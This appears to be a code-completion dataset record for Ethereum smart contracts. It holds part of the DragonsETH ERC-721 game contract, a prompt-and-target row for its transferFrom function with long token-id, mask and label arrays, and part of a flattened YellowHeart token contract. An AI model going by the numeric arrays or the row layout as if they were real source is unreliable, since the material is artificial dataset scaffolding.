bytes4 constant ERC721Enumerable_Signature = 0x780e9d63;
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
return (
(_interfaceID == ERC165_Signature) ||
(_interfaceID == ERC721_Signature) ||
(_interfaceID == ERC721Metadata_Signature) ||
(_interfaceID == ERC721Enumerable_Signature)
);
}
}
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
contract DragonsETH is ERC721Token("DragonsETH.com Dragon", "DragonsETH"), DragonsETH_GC, ReentrancyGuard {
uint256 public totalDragons;
uint256 public liveDragons;
struct Dragon {
uint256 gen1;
uint8 stage; // 0 - Dead, 1 - Egg, 2 - Young Dragon ...
uint8 currentAction;
// 0 - free, 1 - fight place, 2 - random fight, 3 - breed market, 4 - breed auction, 5 - random breed ... 0xFF - Necropolis
uint240 gen2;
uint256 nextBlock2Action;
}
Dragon[] public dragons;
mapping(uint256 => string) public dragonName;
constructor(address _wallet, address _necropolisContract, address _dragonsStatsContract) public {
_mint(msg.sender, 0);
Dragon memory _dragon = Dragon({
gen1: 0,
stage: 0,
currentAction: 0,
gen2: 0,
nextBlock2Action: UINT256_MAX
});
dragons.push(_dragon);
transferFrom(msg.sender, _necropolisContract, 0);
dragonsStatsContract = DragonStats(_dragonsStatsContract);
necropolisContract = Necropolis(_necropolisContract);
wallet = _wallet;
}
function add2MarketPlace(uint256 _dragonID, uint256 _dragonPrice, uint256 _endBlockNumber) external canTransfer(_dragonID) {
require(dragons[_dragonID].stage != 0); // dragon not dead
if (dragons[_dragonID].stage >= 2) {
checkDragonStatus(_dragonID, 2);
}
address dragonOwner = ownerOf(_dragonID);
if (fmpContractAddress.add2MarketPlace(dragonOwner, _dragonID, _dragonPrice, _endBlockNumber)) {
transferFrom(dragonOwner, fmpContractAddress, _dragonID);
}
}
function add2Auction(
uint256 _dragonID,
uint256 _startPrice,
uint256 _step,
uint256 _endPrice,
uint256 _endBlockNumber
)
external
canTransfer(_dragonID)
{
require(dragons[_dragonID].stage != 0); // dragon not dead
if (dragons[_dragonID].stage >= 2) {
checkDragonStatus(_dragonID, 2);
}
address dragonOwner = ownerOf(_dragonID);
if (auctionContract.add2Auction(dragonOwner, _dragonID, _startPrice, _step, _endPrice, _endBlockNumber)) {
transferFrom(dragonOwner, auctionContract, _dragonID);
}
}
function addRandomFight2Death(uint256 _dragonID) external payable nonReentrant canTransfer(_dragonID) {
checkDragonStatus(_dragonID, adultDragonStage);
if (priceRandomFight2Death > 0) {
require(msg.value >= priceRandomFight2Death);
wallet.transfer(priceRandomFight2Death);
if (msg.value - priceRandomFight2Death > 0)
msg.sender.transfer(msg.value - priceRandomFight2Death);
} else {
if (msg.value > 0)
msg.sender.transfer(msg.value);
}
address dragonOwner = ownerOf(_dragonID);
transferFrom(dragonOwner, randomFight2DeathContract, _dragonID);
randomFight2DeathContract.addRandomFight2Death(dragonOwner, _dragonID);
}
function addSelctFight2Death(uint256 _yourDragonID, uint256 _oppDragonID, uint256 _endBlockNumber)
external
payable
nonReentrant
canTransfer(_yourDragonID)
{
checkDragonStatus(_yourDragonID, adultDragonStage);
if (priceSelectFight2Death > 0) {
require(msg.value >= priceSelectFight2Death);
address(selectFight2DeathContract).transfer(priceSelectFight2Death);
if (msg.value - priceSelectFight2Death > 0) msg.sender.transfer(msg.value - priceSelectFight2Death);
} else {
if (msg.value > 0)
msg.sender.transfer(msg.value);
}
address dragonOwner = ownerOf(_yourDragonID);
transferFrom(dragonOwner, selectFight2DeathContract, _yourDragonID);
selectFight2DeathContract.addSelctFight2Death(dragonOwner, _yourDragonID, _oppDragonID, _endBlockNumber, priceSelectFight2Death);
}
function mutagen2Face(uint256 _dragonID, uint256 _mutagenCount) external canTransfer(_dragonID) {
checkDragonStatus(_dragonID, 2);
address dragonOwner = ownerOf(_dragonID);
transferFrom(dragonOwner, mutagen2FaceContract, _dragonID);
mutagen2FaceContract.addDragon(dragonOwner, _dragonID, _mutagenCount);
}
function createDragon(
address _to,
uint256 _timeToBorn,
uint256 _parentOne,
uint256 _parentTwo,
uint256 _gen1,
uint240 _gen2
)
external
onlyRole("CreateContract")
{
totalDragons++;
liveDragons++;
_mint(_to, totalDragons);
uint256[2] memory twoGen;
if (_parentOne == 0 && _parentTwo == 0 && _gen1 == 0 && _gen2 == 0) {
twoGen = genRNGContractAddress.getNewGens(_to, totalDragons);
} else {
twoGen[0] = _gen1;
twoGen[1] = uint256(_gen2);
}
Dragon memory _dragon = Dragon({
gen1: twoGen[0],
stage: 1,
currentAction: 0,
gen2: uint240(twoGen[1]),
nextBlock2Action: _timeToBorn
});
dragons.push(_dragon);
if (_parentOne != 0) {
dragonsStatsContract.setParents(totalDragons,_parentOne,_parentTwo);
dragonsStatsContract.incChildren(_parentOne);
dragonsStatsContract.incChildren(_parentTwo);
}
dragonsStatsContract.setBirthBlock(totalDragons);
}
function changeDragonGen(uint256 _dragonID, uint256 _gen, uint8 _which) external onlyRole("ChangeContract") {
require(dragons[_dragonID].stage >= 2); // dragon not dead and not egg
if (_which == 0) {
dragons[_dragonID].gen1 = _gen;
} else {
dragons[_dragonID].gen2 = uint240(_gen);
}
}
function birthDragon(uint256 _dragonID) external canTransfer(_dragonID) {
require(dragons[_dragonID].stage != 0); // dragon not dead
require(dragons[_dragonID].nextBlock2Action <= block.number);
dragons[_dragonID].stage = 2;
}
function matureDragon(uint256 _dragonID) external canTransfer(_dragonID) {
require(stageThirdBegin);
checkDragonStatus(_dragonID, 2);
require(dragonsStatsContract.getDragonFight(_dragonID) >= needFightToAdult);
dragons[_dragonID].stage = 3;
}
function superDragon(uint256 _dragonID) external canTransfer(_dragonID) {
checkDragonStatus(_dragonID, 3);
require(superContract.checkDragon(_dragonID));
dragons[_dragonID].stage = 4;
}
function killDragon(uint256 _dragonID) external onlyOwnerOf(_dragonID) {
checkDragonStatus(_dragonID, 2);
dragons[_dragonID].stage = 0;
dragons[_dragonID].currentAction = 0xFF;
dragons[_dragonID].nextBlock2Action = UINT256_MAX;
necropolisContract.addDragon(ownerOf(_dragonID), _dragonID, 1);
transferFrom(ownerOf(_dragonID), necropolisContract, _dragonID);
dragonsStatsContract.setDeathBlock(_dragonID);
liveDragons--;
}
function killDragonDeathContract(address _lastOwner, uint256 _dragonID, uint256 _deathReason)
external
canTransfer(_dragonID)
onlyRole("DeathContract")
{
checkDragonStatus(_dragonID, 2);
dragons[_dragonID].stage = 0;
dragons[_dragonID].currentAction = 0xFF;
dragons[_dragonID].nextBlock2Action = UINT256_MAX;
necropolisContract.addDragon(_lastOwner, _dragonID, _deathReason);
transferFrom(ownerOf(_dragonID), necropolisContract, _dragonID);
dragonsStatsContract.setDeathBlock(_dragonID);
liveDragons--;
}
function decraseTimeToAction(uint256 _dragonID) external payable nonReentrant canTransfer(_dragonID) {
require(dragons[_dragonID].stage != 0); // dragon not dead
require(msg.value >= priceDecraseTime2Action);
require(dragons[_dragonID].nextBlock2Action > block.number);
uint256 maxBlockCount = dragons[_dragonID].nextBlock2Action - block.number;
if (msg.value > maxBlockCount * priceDecraseTime2Action) {
msg.sender.transfer(msg.value - maxBlockCount * priceDecraseTime2Action);
wallet.transfer(maxBlockCount * priceDecraseTime2Action);
dragons[_dragonID].nextBlock2Action = 0;
} else {
if (priceDecraseTime2Action == 0) {
dragons[_dragonID].nextBlock2Action = 0;
} else {
wallet.transfer(msg.value);
dragons[_dragonID].nextBlock2Action = dragons[_dragonID].nextBlock2Action - msg.value / priceDecraseTime2Action - 1;
}
}
}
function addDragonName(uint256 _dragonID,string _newName) external payable nonReentrant canTransfer(_dragonID) {
checkDragonStatus(_dragonID, 2);
if (bytes(dragonName[_dragonID]).length == 0) {
dragonName[_dragonID] = _newName;
if (msg.value > 0)
msg.sender.transfer(msg.value);
} else {
if (priceChangeName == 0) {
dragonName[_dragonID] = _newName;
if (msg.value > 0)
msg.sender.transfer(msg.value);
} else {
require(msg.value >= priceChangeName);
wallet.transfer(priceChangeName);
if (msg.value - priceChangeName > 0)
msg.sender.transfer(msg.value - priceChangeName);
dragonName[_dragonID] = _newName;
}
}
}
function checkDragonStatus(uint256 _dragonID, uint8 _stage) public view {
require(dragons[_dragonID].stage != 0); // dragon not dead
// dragon not in action and not in rest and not egg
require(
dragons[_dragonID].nextBlock2Action <= block.number &&
dragons[_dragonID].currentAction == 0 &&
dragons[_dragonID].stage >= _stage
);
}
function setCurrentAction(uint256 _dragonID, uint8 _currentAction) external onlyRole("ActionContract") {
dragons[_dragonID].currentAction = _currentAction;
}
function setTime2Rest(uint256 _dragonID, uint256 _addNextBlock2Action) external onlyRole("ActionContract") {
dragons[_dragonID].nextBlock2Action = block.number + _addNextBlock2Action;
}
} | * @dev Transfers the ownership of a given token ID to another address @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible @dev Requires the msg sender to be the owner, approved, or operator @param _from current owner of the token @param _to address to receive the ownership of the given token ID @param _tokenId uint256 ID of the token to be transferred/ | function transferFrom(address _from, address _to, uint256 _tokenId) public payable canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
if (msg.value > 0) _to.transfer(msg.value);
emit Transfer(_from, _to, _tokenId);
}
| 12,891,422 | [
1,
1429,
18881,
326,
23178,
434,
279,
864,
1147,
1599,
358,
4042,
1758,
225,
10858,
434,
333,
707,
353,
19169,
477,
11349,
16,
999,
1375,
4626,
5912,
1265,
68,
17334,
3323,
225,
16412,
326,
1234,
5793,
358,
506,
326,
3410,
16,
20412,
16,
578,
3726,
225,
389,
2080,
783,
3410,
434,
326,
1147,
225,
389,
869,
1758,
358,
6798,
326,
23178,
434,
326,
864,
1147,
1599,
225,
389,
2316,
548,
2254,
5034,
1599,
434,
326,
1147,
358,
506,
906,
4193,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
2316,
548,
13,
1071,
8843,
429,
848,
5912,
24899,
2316,
548,
13,
288,
203,
565,
2583,
24899,
2080,
480,
1758,
12,
20,
10019,
203,
565,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
203,
565,
2424,
23461,
24899,
2080,
16,
389,
2316,
548,
1769,
203,
565,
1206,
1345,
1265,
24899,
2080,
16,
389,
2316,
548,
1769,
203,
565,
527,
1345,
774,
24899,
869,
16,
389,
2316,
548,
1769,
203,
565,
309,
261,
3576,
18,
1132,
405,
374,
13,
389,
869,
18,
13866,
12,
3576,
18,
1132,
1769,
203,
203,
565,
3626,
12279,
24899,
2080,
16,
389,
869,
16,
389,
2316,
548,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// Sources flattened with hardhat v2.8.2 https://hardhat.org
// File contracts/lib/LibAppStorage.sol
/**
* SPDX-License-Identifier: MIT
*
* Copyright (c) 2021 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
pragma solidity 0.8.9;
enum AuthorizationState {
Unused,
Used,
Canceled
}
struct AppStorage {
address owner;
address pauser;
bool paused;
address blacklister;
mapping(address => bool) blacklisted;
string name;
string symbol;
uint8 decimals;
string currency;
address masterMinter;
bool initialized;
bool initializing;
bool initializedV2;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
uint256 totalSupply;
mapping(address => bool) minters;
mapping(address => uint256) minterAllowed;
address rescuer;
bytes32 domainSeparator;
mapping(address => mapping(bytes32 => AuthorizationState)) authorizationStates;
mapping(address => uint256) nonces;
}
library LibAppStorage {
function diamondStorage() internal pure returns (AppStorage storage ds) {
assembly {
ds.slot := 0
}
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/lib/LibContext.sol
/**
*
*
* Copyright (c) YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibContext {
function _msgSender() internal view returns (address sender) {
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
} else {
sender = msg.sender;
}
return sender;
}
}
// File contracts/lib/LibOwnable.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
library LibOwnable {
function _requireOnlyOwner() internal view {
require(
LibContext._msgSender() == LibAppStorage.diamondStorage().owner,
"Ownable: caller is not the owner"
);
}
}
// File contracts/common/Ownable.sol
/**
*
*
* Copyright (c) 2018 zOS Global Limited.
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @notice The Ownable contract has an owner address, and provides basic
* authorization control functions
* @dev Forked from https://github.com/OpenZeppelin/openzeppelin-labs/blob/3887ab77b8adafba4a26ace002f3a684c1a3388b/upgradeability_ownership/contracts/ownership/Ownable.sol
* Modifications:
* 1. Consolidate OwnableStorage into this contract (7/13/18)
* 2. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20)
* 3. Make public functions external (5/27/20)
*/
contract Ownable {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev The constructor sets the original owner of the contract to the sender account.
*/
constructor() {
setOwner(msg.sender);
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() external view returns (address) {
return LibAppStorage.diamondStorage().owner;
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
LibAppStorage.diamondStorage().owner = newOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
LibOwnable._requireOnlyOwner();
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(LibAppStorage.diamondStorage().owner, newOwner);
setOwner(newOwner);
}
}
// File contracts/lib/LibBlacklistable.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
library LibBlacklistable {
function _requireBlacklister() internal view {
require(
msg.sender == LibAppStorage.diamondStorage().blacklister,
"Blacklistable: caller is not the blacklister"
);
}
function _requireNotBlacklisted(address account) internal view {
require(
!LibAppStorage.diamondStorage().blacklisted[account],
"Blacklistable: account is blacklisted"
);
}
}
// File contracts/common/Blacklistable.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title Blacklistable Token
* @dev Allows accounts to be blacklisted by a "blacklister" role
*/
contract Blacklistable is Ownable {
